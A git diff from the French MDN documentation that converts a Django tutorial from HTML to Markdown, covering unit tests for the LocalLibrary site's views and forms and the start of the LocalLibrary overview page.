+```python +import datetime from django.utils import timezone from django.contrib.auth.models import User # Required to assign User as a borrower @@ -576,8 +582,8 @@ from catalog.models import BookInstance, Book, Genre, Language class LoanedBookInstancesByUserListViewTest(TestCase): def setUp(self): # Create two users - test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK') - test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD') + test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK') + test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD') test_user1.save() test_user2.save() @@ -618,7 +624,7 @@ class LoanedBookInstancesByUserListViewTest(TestCase): self.assertRedirects(response, '/accounts/login/?next=/catalog/mybooks/') def test_logged_in_uses_correct_template(self): - login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') + login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') response = self.client.get(reverse('my-borrowed')) # Check our user is logged in @@ -628,14 +634,15 @@ class LoanedBookInstancesByUserListViewTest(TestCase): # Check we used correct template self.assertTemplateUsed(response, 'catalog/bookinstance_list_borrowed_user.html') -</pre> +``` -<p>Pour vérifier que la vue redirige à une page de login si l'utilisateur n'est pas connecté, nous utilisons <code>assertRedirects</code>, comme montré dans <code>test_redirect_if_not_logged_in()</code>. Pour vérifier que la page est affichée pour un utilisateur connecté, nous connectons d'abord notre utilisateur-test, et ensuite nous accédons de nouveau à la page et vérifions que nous obtenons un <code>status_code</code> de 200 (succès).</p> +Pour vérifier que la vue redirige à une page de login si l'utilisateur n'est pas connecté, nous utilisons `assertRedirects`, comme montré dans `test_redirect_if_not_logged_in()`. Pour vérifier que la page est affichée pour un utilisateur connecté, nous connectons d'abord notre utilisateur-test, et ensuite nous accédons de nouveau à la page et vérifions que nous obtenons un `status_code` de 200 (succès). -<p>Le reste des test vérifie que notre vue ne retourne que les livres qui sont prêtés à notre emprunteur courant. Copiez ce code et collez le à la fin de la classe de test ci-dessus.</p> +Le reste des test vérifie que notre vue ne retourne que les livres qui sont prêtés à notre emprunteur courant. Copiez ce code et collez le à la fin de la classe de test ci-dessus. -<pre class="brush: python"> def test_only_borrowed_books_in_list(self): - login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') +```python + def test_only_borrowed_books_in_list(self): + login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') response = self.client.get(reverse('my-borrowed')) # Check our user is logged in @@ -674,7 +681,7 @@ class LoanedBookInstancesByUserListViewTest(TestCase): book.status='o' book.save() - login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') + login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') response = self.client.get(reverse('my-borrowed')) # Check our user is logged in @@ -690,18 +697,20 @@ class LoanedBookInstancesByUserListViewTest(TestCase): if last_date == 0: last_date = book.due_back else: - self.assertTrue(last_date <= book.due_back) - last_date = book.due_back</pre> + self.assertTrue(last_date <= book.due_back) + last_date = book.due_back +``` -<p>Vous pourriez aussi ajouter les tests de pagination, si vous voulez !</p> +Vous pourriez aussi ajouter les tests de pagination, si vous voulez ! -<h4 id="Tester_des_vues_avec_formulaires">Tester des vues avec formulaires</h4> +#### Tester des vues avec formulaires -<p>Tester des vues avec formulaires est un peu plus compliqué que dans les cas précédents, car vous devez tester un code qui parcourt plus de chemin : l'affichage initial, l'affichage après que la validation des données a échoué, et l'affichage après que la validation a réussi. La bonne nouvelle, c'est que nous utilisons le client de test presque de la même manière que nous l'avons fait pour des vues qui ne font qu'afficher des données.</p> +Tester des vues avec formulaires est un peu plus compliqué que dans les cas précédents, car vous devez tester un code qui parcourt plus de chemin : l'affichage initial, l'affichage après que la validation des données a échoué, et l'affichage après que la validation a réussi. La bonne nouvelle, c'est que nous utilisons le client de test presque de la même manière que nous l'avons fait pour des vues qui ne font qu'afficher des données. -<p>Pour voir cela, écrivons des tests pour la vue utilisée pour renouveler des livres (<code>renew_book_librarian()</code>) :</p> +Pour voir cela, écrivons des tests pour la vue utilisée pour renouveler des livres (`renew_book_librarian()`) : -<pre class="brush: python">from catalog.forms import RenewBookForm +```python +from catalog.forms import RenewBookForm @permission_required('catalog.can_mark_returned') def renew_book_librarian(request, pk): @@ -733,28 +742,30 @@ def renew_book_librarian(request, pk): 'book_instance': book_instance, } - return render(request, 'catalog/book_renew_librarian.html', context)</pre> + return render(request, 'catalog/book_renew_librarian.html', context) +``` -<p>Nous allons devoir tester que la vue n'est disponible qu'aux utilisateurs ayant la permission <code>can_mark_returned</code>, et que les utilisateurs sont bien redirigés vers une page d'erreur HTTP 404 s'ils essaient de renouveler une <code>BookInstance</code> inexistante. Nous devons vérifier que la valeur initiale du formulaire est remplie avec une date de trois semaines dans le futur, et que si la validation réussit, nous sommes redirigés vers la vue "tous les livres empruntés". Dans le cadre des tests sur l'échec de la validation, nous allons aussi vérifier que notre formulaire envoie les bons messages d'erreur.</p> +Nous allons devoir tester que la vue n'est disponible qu'aux utilisateurs ayant la permission `can_mark_returned`, et que les utilisateurs sont bien redirigés vers une page d'erreur HTTP 404 s'ils essaient de renouveler une `BookInstance` inexistante. Nous devons vérifier que la valeur initiale du formulaire est remplie avec une date de trois semaines dans le futur, et que si la validation réussit, nous sommes redirigés vers la vue "tous les livres empruntés". Dans le cadre des tests sur l'échec de la validation, nous allons aussi vérifier que notre formulaire envoie les bons messages d'erreur. -<p>Ajoutez la première partie de la classe de test ci-dessous à la fin du fichier <strong>/catalog/tests/test_views.py</strong>. Cela crée deux utilisateurs et deux instances de livres, mais ne donne qu'à un seul utilisateur la permission d'accéder à la vue. Le code pour autoriser les permissions durant les tests est montrée en gras :</p> +Ajoutez la première partie de la classe de test ci-dessous à la fin du fichier **/catalog/tests/test_views.py**. Cela crée deux utilisateurs et deux instances de livres, mais ne donne qu'à un seul utilisateur la permission d'accéder à la vue. Le code pour autoriser les permissions durant les tests est montrée en gras : -<pre class="brush: python">import uuid +```python +import uuid from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned. class RenewBookInstancesViewTest(TestCase): def setUp(self): # Create a user - test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK') - test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD') + test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK') + test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD') test_user1.save() test_user2.save() -<strong> permission = Permission.objects.get(name='Set book as returned') + permission = Permission.objects.get(name='Set book as returned') test_user2.user_permissions.add(permission) - test_user2.save()</strong> + test_user2.save() # Create a book test_author = Author.objects.create(first_name='John', last_name='Smith') @@ -791,30 +802,32 @@ class RenewBookInstancesViewTest(TestCase): due_back=return_date, borrower=test_user2, status='o', - )</pre> + ) +``` -<p>Ajoutez les tests suivants à la fin de la classe de test. Ils vérifient que seuls les utilisateurs avec les bonnes permissions (<em>testuser2</em>) peuvent accéder à la vue. Nous vérifions tous les cas : quand l'utilisateur n'est pas connecté, quand un utilisateur est connecté mais n'a pas les permissions requises, quand l'utilisateur a les permissions mais n'est pas l'emprunteur (ce test devrait réussir), et ce qui se passe quand ils tentent d'accéder à une <code>BookInstance</code> inexistante. Nous vérifions aussi que le bon template est utilisé.</p> +Ajoutez les tests suivants à la fin de la classe de test. Ils vérifient que seuls les utilisateurs avec les bonnes permissions (_testuser2_) peuvent accéder à la vue. Nous vérifions tous les cas : quand l'utilisateur n'est pas connecté, quand un utilisateur est connecté mais n'a pas les permissions requises, quand l'utilisateur a les permissions mais n'est pas l'emprunteur (ce test devrait réussir), et ce qui se passe quand ils tentent d'accéder à une `BookInstance` inexistante. Nous vérifions aussi que le bon template est utilisé. -<pre class="brush: python"> def test_redirect_if_not_logged_in(self): +```python + def test_redirect_if_not_logged_in(self): response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) # Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) self.assertEqual(response.status_code, 302) self.assertTrue(response.url.startswith('/accounts/login/')) def test_redirect_if_logged_in_but_not_correct_permission(self): - login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') + login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) self.assertEqual(response.status_code, 403) def test_logged_in_with_permission_borrowed_book(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance2.pk})) # Check that it lets us login - this is our book and we have the right permissions. self.assertEqual(response.status_code, 200) def test_logged_in_with_permission_another_users_borrowed_book(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) # Check that it lets us login. We're a librarian, so we can view any users book @@ -823,134 +836,131 @@ class RenewBookInstancesViewTest(TestCase): def test_HTTP404_for_invalid_book_if_logged_in(self): # unlikely UID to match our bookinstance! test_uid = uuid.uuid4() - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') response = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid})) self.assertEqual(response.status_code, 404) def test_uses_correct_template(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) self.assertEqual(response.status_code, 200) # Check we used correct template self.assertTemplateUsed(response, 'catalog/book_renew_librarian.html') -</pre> +``` -<p>Ajoutez la méthode de test suivante, comme montré ci-dessous. Elle vérifie que la date initiale pour le formulaire est trois semaines dans le futur. Notez comment nous pouvons accéder à la valeur initiale de ce champ de formulaire (en gras).</p> +Ajoutez la méthode de test suivante, comme montré ci-dessous. Elle vérifie que la date initiale pour le formulaire est trois semaines dans le futur. Notez comment nous pouvons accéder à la valeur initiale de ce champ de formulaire (en gras). -<pre class="brush: python"> def test_form_renewal_date_initially_has_date_three_weeks_in_future(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') +```python + def test_form_renewal_date_initially_has_date_three_weeks_in_future(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) self.assertEqual(response.status_code, 200) date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3) - self.assertEqual(response<strong>.context['form'].initial['renewal_date']</strong>, date_3_weeks_in_future) -</pre> + self.assertEqual(response.context['form'].initial['renewal_date'], date_3_weeks_in_future) +``` -<div class="warning"> -<p><strong>Attention :</strong> Si vous utilisez la class de formulaire <code>RenewBookModelForm(forms.ModelForm)</code> à la place de la classe <code>RenewBookForm(forms.Form)</code>, le nom du champ est <strong>'due_back'</strong> et non <strong>'renewal_date'</strong>.</p> -</div> +> **Attention :** Si vous utilisez la class de formulaire `RenewBookModelForm(forms.ModelForm)` à la place de la classe `RenewBookForm(forms.Form)`, le nom du champ est **'due_back'** et non **'renewal_date'**. -<p>Le test suivant (ajoutez-le à la classe également) vérifie que la vue redirige vers une liste de tous les livres empruntés si le renouvellement réussit. Ce qui diffère ici est que, pour la première fois, nous montrons comment vous pouvez <code>POST</code>er des données en utilisant le client. Les données postées forment le second argument de la fonction post, et elles sont spécifiées comme un dictionnaire de clés/valeurs.</p> +Le test suivant (ajoutez-le à la classe également) vérifie que la vue redirige vers une liste de tous les livres empruntés si le renouvellement réussit. Ce qui diffère ici est que, pour la première fois, nous montrons comment vous pouvez `POST`er des données en utilisant le client. Les données postées forment le second argument de la fonction post, et elles sont spécifiées comme un dictionnaire de clés/valeurs. -<pre class="brush: python"> def test_redirects_to_all_borrowed_book_list_on_success(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') +```python + def test_redirects_to_all_borrowed_book_list_on_success(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2) - <strong>response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future})</strong> + response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future}) self.assertRedirects(response, reverse('all-borrowed')) -</pre> +``` -<div class="warning"> -<p><strong>Attention :</strong> La vue <em>all-borrowed</em> a été ajoutée comme <em>défi</em>, et votre code peut, à la place, rediriger vers la page d'accueil '/'. Si c'est le cas, modifiez les deux dernières lignes du code de test pour qu'elles ressemblent au code ci-dessous. L'expression <code>follow=True</code> dans la requête s'assure que la requête retourne l'URL de la destination finale (donc vérifie <code>/catalog/</code> plutôt que <code>/</code>).</p> +> **Attention :** La vue _all-borrowed_ a été ajoutée comme _défi_, et votre code peut, à la place, rediriger vers la page d'accueil '/'. Si c'est le cas, modifiez les deux dernières lignes du code de test pour qu'elles ressemblent au code ci-dessous. L'expression `follow=True` dans la requête s'assure que la requête retourne l'URL de la destination finale (donc vérifie `/catalog/` plutôt que `/`). +> +> ```python +> response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future}, follow=True ) +> self.assertRedirects(response, '/catalog/') +> ``` -<pre class="brush: python"> response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future}, <strong>follow=True</strong> ) - <strong>self.assertRedirects(</strong><strong>response, '/catalog/')</strong></pre> -</div> +Copiez les deux dernières fonctions dans la classe, comme indiqué ci-dessous. Elles testent de nouveau des requêtes POST, mais dans ce cas avec des dates de renouvellement invalides. Nous utilisons la méthode assertFormError() pour vérifier que les messages d'erreur sont ceux que nous attendons. -<p>Copiez les deux dernières fonctions dans la classe, comme indiqué ci-dessous. Elles testent de nouveau des requêtes POST, mais dans ce cas avec des dates de renouvellement invalides. Nous utilisons la méthode assertFormError() pour vérifier que les messages d'erreur sont ceux que nous attendons.</p> - -<pre class="brush: python"> def test_form_invalid_renewal_date_past(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') +```python + def test_form_invalid_renewal_date_past(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') date_in_past = datetime.date.today() - datetime.timedelta(weeks=1) response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': date_in_past}) self.assertEqual(response.status_code, 200) - <strong>self.assertFormError(</strong><strong>response, 'form', 'renewal_date', 'Invalid date - renewal in past')</strong> + self.assertFormError(response, 'form', 'renewal_date', 'Invalid date - renewal in past') def test_form_invalid_renewal_date_future(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5) response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal_date': invalid_date_in_future}) self.assertEqual(response.status_code, 200) - <strong>self.assertFormError(</strong><strong>response, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead')</strong> -</pre> + self.assertFormError(response, 'form', 'renewal_date', 'Invalid date - renewal more than 4 weeks ahead') +``` -<p>Le même genre de technique peut être utilisé pour tester les autres vues.</p> +Le même genre de technique peut être utilisé pour tester les autres vues. -<h3 id="Templates">Templates</h3> +### Templates -<p>Django fournit des API de test pour vérifier que le bon template sera appelé par vos vues, et pour vous permettre de vérifier que l'information correcte sera envoyée. Il n'y a cependant pas de support d'API spécifique en Django pour tester que votre sortie HTML a le rendu souhaité.</p> +Django fournit des API de test pour vérifier que le bon template sera appelé par vos vues, et pour vous permettre de vérifier que l'information correcte sera envoyée. Il n'y a cependant pas de support d'API spécifique en Django pour tester que votre sortie HTML a le rendu souhaité. -<h2 id="Autres_outils_de_test_recommandés">Autres outils de test recommandés</h2> +## Autres outils de test recommandés -<p>Le framework de test de Django peut vous aider à écrire des tests unitaires et d'intégration efficaces - nous n'avons fait que gratter la surface de ce que peut faire unittest,le framework de test sous-jacent, et plus encore les additions de Django (par exemple, regardez comment vous pouvez utiliser unittest.mock pour patcher les bibliothèques tierces afin de tester plus finement votre propre code).</p> +Le framework de test de Django peut vous aider à écrire des tests unitaires et d'intégration efficaces - nous n'avons fait que gratter la surface de ce que peut faire unittest,le framework de test sous-jacent, et plus encore les additions de Django (par exemple, regardez comment vous pouvez utiliser unittest.mock pour patcher les bibliothèques tierces afin de tester plus finement votre propre code). -<p>Comme il y a un grand nombre d'autres outils de test à votre disposition, nous ne mentionnerons que les deux suivants :</p> +Comme il y a un grand nombre d'autres outils de test à votre disposition, nous ne mentionnerons que les deux suivants : -<ul> - <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: Cet outil Python fait un rapport sur la proportion de votre code réellement exécutée par vos tests. C'est particulièrement intéressant quand vous commencez, et que vous cherchez à vous représenter exactement ce que vous devez tester.</li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> est un framework pour automatiser les tests dans un vrai navigateur. Il vous permet de simuler un utilisateur réel en interaction avec le site, et fournit un excellent framework pour les tests système de votre site (l'étape qui suit les tests d'intégration).</li> -</ul> +- [Coverage](http://coverage.readthedocs.io/en/latest/): Cet outil Python fait un rapport sur la proportion de votre code réellement exécutée par vos tests. C'est particulièrement intéressant quand vous commencez, et que vous cherchez à vous représenter exactement ce que vous devez tester. +- [Selenium](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) est un framework pour automatiser les tests dans un vrai navigateur. Il vous permet de simuler un utilisateur réel en interaction avec le site, et fournit un excellent framework pour les tests système de votre site (l'étape qui suit les tests d'intégration). -<h2 id="Défi">Défi</h2> +## Défi -<p>Il y a beaucoup d'autres modèles et vues que nous pouvons tester. Comme exercice simple, essayez de créer un cas de test pour la vue <code>AuthorCreate</code>.</p> +Il y a beaucoup d'autres modèles et vues que nous pouvons tester. Comme exercice simple, essayez de créer un cas de test pour la vue `AuthorCreate`. -<pre class="brush: python">class AuthorCreate(PermissionRequiredMixin, CreateView): +```python +class AuthorCreate(PermissionRequiredMixin, CreateView): model = Author fields = '__all__' initial = {'date_of_death':'12/10/2016'} - permission_required = 'catalog.can_mark_returned'</pre> - -<p>Souvenez-vous que vous avez besoin de vérifier tout ce que vous avez spécifié ou ce qui fait partie du design. Cela va inclure qui a accès, la date initiale, le template utilisé, et où la vue redirige en cas de succès.</p> - -<h2 id="Résumé">Résumé</h2> - -<p>Écrire un code de test n'est ni très excitant ni très fascinant, et par conséquent ce travail est souvent laissé pour la fin (ou complètement délaissé) par les créateurs de sites web. C'est pourtant un élément essentiel pour vous assurer que, malgré les changements apportés, votre code peut passer à une nouvelle version en toute sécurité, et que sa maintenance est rentable.</p> - -<p>Dans ce tutoriel, nous vous avons montré comment écrire et lancer des tests pour vos modèles, formulaires et vues. Plus important, nous avons fourni un bref résumé de ce que vous devez tester, ce qui est souvent la chose la plus difficile à comprendre quand on commence. Il y a beaucoup de choses à savoir, mais avec ce que vous avez déjà appris, vous devriez être capable de créer des tests unitaires efficaces pour vos sites web.</p> - -<p>Le prochain (et dernier) tutoriel montre comment vous pouvez déployer votre merveilleux (et entièrement testé !) site web Django.</p> - -<h2 id="À_voir_également">À voir également</h2> - -<ul> - <li><a href="https://docs.djangoproject.com/en/2.1/topics/testing/overview/">Writing and running tests</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/2.1/intro/tutorial05/">Writing your first Django app, part 5 > Introducing automated testing</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/2.1/topics/testing/tools/">Testing tools reference</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/2.1/topics/testing/advanced/">Advanced testing topics</a> (Django docs)</li> - <li><a href="http://toastdriven.com/blog/2011/apr/10/guide-to-testing-in-django/">A Guide to Testing in Django</a> (Toast Driven Blog, 2011)</li> - <li><a href="http://test-driven-django-development.readthedocs.io/en/latest/index.html">Workshop: Test-Driven Web Development with Django</a> (San Diego Python, 2014)</li> - <li><a href="https://realpython.com/blog/python/testing-in-django-part-1-best-practices-and-examples/">Testing in Django (Part 1) - Best Practices and Examples</a> (RealPython, 2013)</li> -</ul> - -<p>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</p> - -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> + permission_required = 'catalog.can_mark_returned' +``` + +Souvenez-vous que vous avez besoin de vérifier tout ce que vous avez spécifié ou ce qui fait partie du design. Cela va inclure qui a accès, la date initiale, le template utilisé, et où la vue redirige en cas de succès. + +## Résumé + +Écrire un code de test n'est ni très excitant ni très fascinant, et par conséquent ce travail est souvent laissé pour la fin (ou complètement délaissé) par les créateurs de sites web. C'est pourtant un élément essentiel pour vous assurer que, malgré les changements apportés, votre code peut passer à une nouvelle version en toute sécurité, et que sa maintenance est rentable. + +Dans ce tutoriel, nous vous avons montré comment écrire et lancer des tests pour vos modèles, formulaires et vues. Plus important, nous avons fourni un bref résumé de ce que vous devez tester, ce qui est souvent la chose la plus difficile à comprendre quand on commence. Il y a beaucoup de choses à savoir, mais avec ce que vous avez déjà appris, vous devriez être capable de créer des tests unitaires efficaces pour vos sites web. + +Le prochain (et dernier) tutoriel montre comment vous pouvez déployer votre merveilleux (et entièrement testé !) site web Django. + +## À voir également + +- [Writing and running tests](https://docs.djangoproject.com/en/2.1/topics/testing/overview/) (Django docs) +- [Writing your first Django app, part 5 > Introducing automated testing](https://docs.djangoproject.com/en/2.1/intro/tutorial05/) (Django docs) +- [Testing tools reference](https://docs.djangoproject.com/en/2.1/topics/testing/tools/) (Django docs) +- [Advanced testing topics](https://docs.djangoproject.com/en/2.1/topics/testing/advanced/) (Django docs) +- [A Guide to Testing in Django](http://toastdriven.com/blog/2011/apr/10/guide-to-testing-in-django/) (Toast Driven Blog, 2011) +- [Workshop: Test-Driven Web Development with Django](http://test-driven-django-development.readthedocs.io/en/latest/index.html) (San Diego Python, 2014) +- [Testing in Django (Part 1) - Best Practices and Examples](https://realpython.com/blog/python/testing-in-django-part-1-best-practices-and-examples/) (RealPython, 2013) + +{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}} + +## Dans ce module + +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Tutorial: The Local Library website](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django Tutorial Part 2: Creating a skeleton website](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django Tutorial Part 3: Using models](/fr/docs/Learn/Server-side/Django/Models) +- [Django Tutorial Part 4: Django admin site](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django Tutorial Part 5: Creating our home page](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/django/tutorial_local_library_website/index.md b/files/fr/learn/server-side/django/tutorial_local_library_website/index.md index 7e085e43b8..6dd66c3042 100644 --- a/files/fr/learn/server-side/django/tutorial_local_library_website/index.md +++ b/files/fr/learn/server-side/django/tutorial_local_library_website/index.md @@ -10,92 +10,89 @@ tags: - django translation_of: Learn/Server-side/Django/Tutorial_local_library_website --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}} -<div>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</div> - -<p>Le premier article de cette série didactique explique ce que vous apprendrez et donne un aperçu du site Web "Bibliothèque locale", un exemple, qui va être utiliser et évoluer dans les articles suivants.</p> - -<div></div> +Le premier article de cette série didactique explique ce que vous apprendrez et donne un aperçu du site Web "Bibliothèque locale", un exemple, qui va être utiliser et évoluer dans les articles suivants. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>La lecture de <a href="/fr/docs/Learn/Server-side/Django/Introduction">l'introduction</a>. Pour les articles suivants avoir mis à jour l'environnement comme décrit précédemment. </td> - </tr> - <tr> - <th scope="row">Objectifs:</th> - <td>Présenter l'application à venir et les thèmes qui seront abordés dans cette série didactique.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + La lecture de + <a href="/fr/docs/Learn/Server-side/Django/Introduction" + >l'introduction</a + >. Pour les articles suivants avoir mis à jour l'environnement comme + décrit précédemment. + </td> + </tr> + <tr> + <th scope="row">Objectifs:</th> + <td> + Présenter l'application à venir et les thèmes qui seront abordés dans + cette série didactique. + </td> + </tr> + </tbody> </table> -<h2 id="Vue_d'ensemble">Vue d'ensemble</h2> - -<p>La série didactique MDN "Bibliothèque locale" va vous permettre de développer un site web destiné à gérer le catalogue d'une bibliothèque.</p> - -<p>Dans les articles qui suivent, vous allez apprendre à :</p> +## Vue d'ensemble -<ul> - <li>Utiliser les outils de Django pour créer le squelette d'un site web et d'applications</li> - <li>Démarrer et arrêter le serveur de développement.</li> - <li>Créer les modèles de données utilisés par les applications.</li> - <li>Utiliser les outils d'administration Django du site web pour y enregsitrer et y peupler les données.</li> - <li>Créer des vues pour exploiter en fonction de demandes particulières et restituer à l'aide de modèles les informations dans des documents HTML affichés par votre navigateur.</li> - <li>Créer les chemins pour associer des URL avec des vues particulières.</li> - <li>Ajouter et gérer les autorisations et le contrôle d'accès au site des utilisateurs.</li> - <li>Manipuler les formulaires.</li> - <li>Ecrire des jeux de test pour votre application.</li> - <li>Utiliser les moyens de sécurité de Django.</li> - <li>Déployer en production vote application.</li> -</ul> +La série didactique MDN "Bibliothèque locale" va vous permettre de développer un site web destiné à gérer le catalogue d'une bibliothèque. -<p>Que vous ayez déjà des connaissance sur le sujet ou que vous ayez aborder succinctement ce quadriciel, à la fin de cette série didactique, vous serez suffisamment autonome pour développer vos propres applications avec Django.</p> +Dans les articles qui suivent, vous allez apprendre à : -<h2 id="Le_site_web_de_la_Bibliothèque_locale">Le site web de la "Bibliothèque locale"</h2> +- Utiliser les outils de Django pour créer le squelette d'un site web et d'applications +- Démarrer et arrêter le serveur de développement. +- Créer les modèles de données utilisés par les applications. +- Utiliser les outils d'administration Django du site web pour y enregsitrer et y peupler les données. +- Créer des vues pour exploiter en fonction de demandes particulières et restituer à l'aide de modèles les informations dans des documents HTML affichés par votre navigateur. +- Créer les chemins pour associer des URL avec des vues particulières. +- Ajouter et gérer les autorisations et le contrôle d'accès au site des utilisateurs. +- Manipuler les formulaires. +- Ecrire des jeux de test pour votre application. +- Utiliser les moyens de sécurité de Django. +- Déployer en production vote application. -<p>La <em>LocalLibrary</em> (Bibliothèque locale) est le nom du site web qui va être créer et qui évoluera tout au long de cette série didatcique. La finalité de ce site web est de diffuser un catalogue des livres en ligne et de permettre aux utilisateurs de le parcourir et de gérer leur propre compte.</p> +Que vous ayez déjà des connaissance sur le sujet ou que vous ayez aborder succinctement ce quadriciel, à la fin de cette série didactique, 